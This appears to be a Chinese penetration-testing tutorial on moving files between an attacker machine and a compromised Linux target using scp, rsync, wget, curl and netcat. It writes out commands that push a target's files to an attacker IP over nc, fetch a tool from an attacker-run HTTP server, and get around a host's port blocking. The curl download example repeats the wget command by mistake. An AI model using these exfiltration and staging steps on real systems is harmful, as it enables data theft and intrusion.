1. 说明
本文的几种传输方法针对的是在渗透工作中遇到的情况,在很多时候,靶机可能受到一些防护软件或者策略的限制,无法正常的进行文件传输,这对攻防来说会有很多问题。所以在这里主要包含攻击机给靶机上传文件、从靶机上下载文件等操作。
2. 参考拓扑图
本文以云vps
为例(*nix
系统),分别为靶机和攻击机,分析在不同场景下的文件上传下载方法。
其中有部分方法可能不太适用,所以在这里就没有展开去写。
3. sftp传输
3.1 使用场景
-
拿到服务器的账号密码信息,直接上传和下载,你可以使用 Windows
、linux
、mac
等系统进行操作,只要能找到对应的软件即可。 -
一般条件下,该方法可以任意地上传、下载目标服务器上的文件。
3.2 使用示例
这个比较好理解,就是拿到服务器的账号密码信息,直接使用xshell
、sftp
工具等进行上传和下载,mac
上也可以使用FileZilla
来操作,总之工具很多,在这里就不再赘述了。
4. SCP命令
scp
(Secure Copy Protocol
)是基于 ssh
(Secure Shell
)协议的一种文件传输工具,用于在本地计算机和远程服务器之间,或两台远程服务器之间安全地传输文件。它通过 ssh
加密传输数据,提供了可靠的安全性。
4.1 基本用法
scp [选项] 源文件 目标路径
常用参数
-r:递归复制整个目录及其子目录。
-P:指定远程服务器的端口号(注意大小写,-p 是保留时间戳)。
-C:压缩传输数据。
-i:指定使用的私钥文件(适用于基于密钥的认证)。
-q:安静模式,不显示传输进度。
使用示例
1. 从本地复制到远程
scp /path/to/local/file user@remote_host:/path/to/remote/destination
2. 从远程复制到本地
scp user@remote_host:/path/to/remote/file /path/to/local/destination
3. 复制整个目录
scp -r /path/to/local/directory user@remote_host:/path/to/remote/destination
4. 指定端口传输
scp -P 2222 /path/to/local/file user@remote_host:/path/to/remote/destination
5. 两台远程服务器之间传输
scp user1@remote_host1:/path/to/remote/file user2@remote_host2:/path/to/remote/destination
注意事项
权限问题:使用 scp 时,确保用户对目标路径具有访问权限。
网络中断:如果传输较大的文件,建议使用支持断点续传的工具(如 rsync)代替 scp。
安全性:默认情况下,scp 的传输是加密的,安全性比 FTP 高。
4.2 将文件从靶机复制到攻击机
4.2.1 使用场景
-
需要拿到服务器的账号密码信息,SSH服务开启,命令行来操作 -
攻击机可以主动访问到靶机
在这里直接使用命令来将靶机上的fscan
文件复制到攻击机上去:
4.2.2 命令
从远程复制到本地
scp user@remote_host:/path/to/remote/file /path/to/local/destination
在这里就是:
scp ubuntu@144.*.*9.19:/home/ubuntu/bj_chuanshu/crowsec.exe /root/gjj_chuanshu/
当使用的时候,会要求输入当前账号下的密码,然后开始文件传输。
在这里对比两个文件的hash
值,看下文件是否传输成功:
当然,scp
还有一些其他的用法,具体的可以看上面的介绍。
4.3 将文件从攻击机复制到靶机
4.3.1 使用场景
-
需要拿到服务器的账号密码信息,SSH服务开启,命令行来操作 -
靶机可以主动访问到攻击机
4.3.2 命令
这个流程和刚刚的一样,只需要更换下顺序就行了,在这里就不多说了。
5. rsync
rsync
是一个强大的命令行工具,主要用于在本地和远程系统之间同步文件和目录。它支持增量传输,可以有效地减少带宽占用,并提供强大的过滤规则、权限保留和加密传输功能。
官网介绍:
https://www.samba.org/ftp/rsync/rsync.html
5.1 使用场景
-
远程服务器支持 ssh
-
两个服务器之间需要能够互相通信
5.2 使用示例
-
正向传输:
这里的正向传输指的是将本地的文件传输到远程服务器上:
rsync -avz /path/to/local/directory/ user@remote_host:/path/to/remote/directory/
在我们这篇文章里面,就指的是将攻击机上的文件上传到靶机上了,在这里需要靶机的ssh
账号密码信息,操作是在攻击机上:
-
反向传输:
rsync -avz user@remote_host:/path/to/remote/directory/ /path/to/local/directory/
在这里指的是将靶机上的文件下载下来,同样需要的是靶机的账号密码信息:
6. wget-常用
wget
是一个常见的命令行工具,主要用于从服务器下载文件。
其实wget
在攻防里面运用还是蛮多的。
wget http://remote_host/path/to/file
6.1 使用场景
-
wget
只能够从服务器上下载文件,不能够实现反向文件上传,也就是只能从远程服务器下载文件到本地。 -
远程服务器文件需要通过 HTTP/HTTPS
提供访问。 -
无需在远程服务器设置用户认证
6.2 使用示例
目前模拟将攻击机上的文件上传到靶机上,所以首先在攻击机上启动web服务,在这里使用python3
来启动服务:
python3 -m http.server 8088
然后直接在攻击机上请求就可以了:
wget http://221.141.65.131:8088/crowsec_wget.exe
7. curl-常用
curl
和wget
类似,但是curl
除了从远程服务器下载文件之外,还可以向远程服务器上传文件,而且还支持 FTP
、HTTP
、 POST
等。在这里我们只讨论上传和下载功能。
7.1 使用场景
-
远程服务器文件需要通过 HTTP/HTTPS
提供访问。 -
无需在远程服务器设置用户认证
7.2 使用示例-文件下载
目前模拟将攻击机上的文件上传到靶机上,所以首先在攻击机上启动web
服务,在这里使用python3
来启动服务:
python3 -m http.server 8088
然后直接在攻击机上请求就可以了:
wget http://221.141.65.131:8088/crowsec_wget.exe
7.3 使用示例-文件上传
当然,curl
也可以将文件上传到服务器上,在这里需要的条件要么是FTP服务器,要么就是HTTP
服务器。如果FTP服务器需要认证的话,则需要提供用户名和密码才可以。
你可以使用 curl
发送 HTTP POST 请求,并将文件作为数据上传:
curl -X POST -F "file=@/path/to/file.txt" http://example.com/upload
-
-X POST
指定使用POST
请求。 -
-F
指定表单数据,"file=@/path/to/file.txt"
表示上传file.txt
文件。
curl
还可以用于将文件上传到 FTP
服务器。
curl -T /path/to/file.txt ftp://ftp.example.com/upload/
-
-T
用于指定上传的文件。 -
ftp://ftp.example.com/upload/
是 FTP 服务器和目标目录的URL
。
如果 FTP
服务器需要认证,你可以提供用户名和密码:
curl -u username:password -T /path/to/file.txt ftp://ftp.example.com/upload/
8. Netcat-常用
8.1 使用场景
如果在一些实战场景里面,没有类似于python
或者curl
、wget
命令时,如果存在nc
命令,则可以使用nc
命令上传或下载文件。nc
的优点就是无其他工具时可通过TCP/UDP
传输文件。另外就是简单高效,无需额外配置。
8.2 使用示例-文件下载
这种情况下适合在靶机本身禁止开放端口的场景,在这里举一个例子:
目前很多的宝塔服务器都会默认禁用开放端口,如果此时你拿到一个宝塔的服务器,想要把里面的文件下载下来,在这个时候又不可以通过ssh
或者ftp
的方法下载,而python3
启动的HTTP
下载服务,攻击机是无法直接访问到的,因为被宝塔给直接阻断了,所以在这里需要使用正向的方法:也就是靶机主动通过nc
命令来连接到攻击机,所以在这个场景里面攻击机一定要是云主机(或者二者可以互通)。
此时攻击机准备接收文件:
nc -lvnp 1234 > received_file
在靶机上要主动发送文件,此时靶机:
nc remote_host 1234 < file_to_send
nc 193.141.24.3 1234 < nc_crowsec.exe
此时的攻击机会有显示:
等待一段时间之后,直接使用ctrl + c
断开连接,计算下文件的md5
值:
此时证明两个文件传输完成。
8.3 使用示例-文件上传
文件上传的流程和下载的一模一样,只需要把靶机和攻击机的命令反过来就行了,在这里就不再展示了。
9. 总结对比
总计以上,对比如下:
方法 | 数据加密 | 双方配置要求 | 适用场景 |
---|---|---|---|
SFTP | 是 | 服务端需配置,需要靶机SFTP 的账号密码信息。 |
多文件传输,最安全,适合文件上传下载; 攻防中常用; |
SCP | 是 | SSH 服务必须可用,需要靶机的SSH 账号密码信息。 |
简单、安全的传输; 攻防中不常用; |
RSYNC | 是 | SSH服务必须可用,需要靶机的SSH账号密码信息。 | 大文件或者多次传输;攻防中不太常用; |
WGET | 否 | 远程支持HTTP 服务 |
下载公开文件; 一般攻防里面下载文件较多。 |
CURL | 否 | 支持HTTP/FTP |
上传/下载公开文件;使用正反向下载文件, 一般攻防里面下载文件较多。 |
NC | 否 | 双方需安装netcat |
环境要求简单,传输快速;适合正向文件下载 |
原文始发于微信公众号(乌鸦安全):linux系统中常见的几种文件传输方式
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论